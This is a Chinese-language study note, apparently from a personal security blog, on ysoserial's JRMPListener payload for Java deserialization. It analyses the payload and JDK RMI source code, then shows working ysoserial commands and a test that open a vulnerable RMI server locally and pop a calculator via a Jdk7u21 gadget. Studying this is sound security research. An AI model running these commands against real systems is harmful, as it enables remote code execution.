Java 反序列化 ysoserial JRMPListener

- 3 mins

0x01 简介

Java 反序列化 ysoserial JRMPListener payload 学习笔记

JRMP (Java Remote Method Protocol) 是 Java 实现 RMI 的专有协议,关于 RMI 可以参考 Java RMI 笔记,有助于理解 JRMPListener 的利用过程

0x02 分析

JRMPListener payload 执行完成后,会在目标机器上的指定端口开启基于 JRMP 协议的 RMI server,我们需要再使用 exploit/JRMPClient 请求开启的 RMI server,发送指定的 gadget 来完成利用,具体步骤见 本地测试 部分

来看一下 payloads/JRMPListener 代码

    public UnicastRemoteObject getObject ( final String command ) throws Exception {
        int jrmpPort = Integer.parseInt(command);
        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
            RemoteRef.class
        }, new Object[] {
            new UnicastServerRef(jrmpPort)
        });

        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
        return uro;
    }

command 参数为 RMI server 监听端口

        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
            RemoteRef.class
        }, new Object[] {
            new UnicastServerRef(jrmpPort)
        });

使用父类 RemoteObject 的构造方法 protected RemoteObject(RemoteRef newref),反射创建 ActivationGroupImpl 类的实例, 参数为 UnicastServerRef 的实例,用于指定 RMI server 监听端口,最后赋值的变量类型为 UnicastRemoteObject,其继承关系如下

image-20190418182428412

再来看一下反序列化的过程,ActivationGroupImpl 类没有重写 readObject 方法,实际调用的是 UnicastRemoteObject

    private void readObject(java.io.ObjectInputStream in)
        throws java.io.IOException, java.lang.ClassNotFoundException
    {
        in.defaultReadObject();
        reexport();
    }

内部调用 reexport()

    private void reexport() throws RemoteException
    {
        if (csf == null && ssf == null) {
            exportObject((Remote) this, port);
        } else {
            exportObject((Remote) this, port, csf, ssf);
        }
    }

这里 csfssf 变量都为 null,调用 exportObject(Remote obj, int port) 方法

    public static Remote exportObject(Remote obj, int port)
        throws RemoteException
    {
        return exportObject(obj, new UnicastServerRef(port));
    }

可以看到,这里开启了 RMI server,将自身 export 了出去,剩余的部分就是 RMI server 创建的内部过程,本地 debug 时的调用栈如下

image-20190418184254070

0x03 本地测试

生成 JRMPListener payload class 文件,指定运行端口为 38471

mkdir /tmp/ysoserial/
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 38471 > /tmp/ysoserial/jrmplistener.class

这里要注意,以下代码运行后会在本机开启一个存在反序列化漏洞的 RMI server,要注意测试的环境

    @Test
    public void testJRMPListener() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("/tmp/ysoserial/jrmplistener.class")));
        ois.readObject();
        // 因为反序列过程中,是创建一个线程来启动 RMI server,需要保证 main thread 不退出
        while (true) {
            System.out.println(System.currentTimeMillis());
            Thread.sleep(3000);
        }
    }

使用 ysoserial.exploit.JRMPClient 请求 RMI server ,这里为了简单,项目 JDK 使用 7u21,因此直接使用 Jdk7u21 gadget

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 38471 Jdk7u21 "open /Applications/Calculator.app"

运行完后会弹出计算器

参考

b1ngz
rss facebook twitter github weibo youtube mail spotify instagram linkedin google pinterest medium vimeo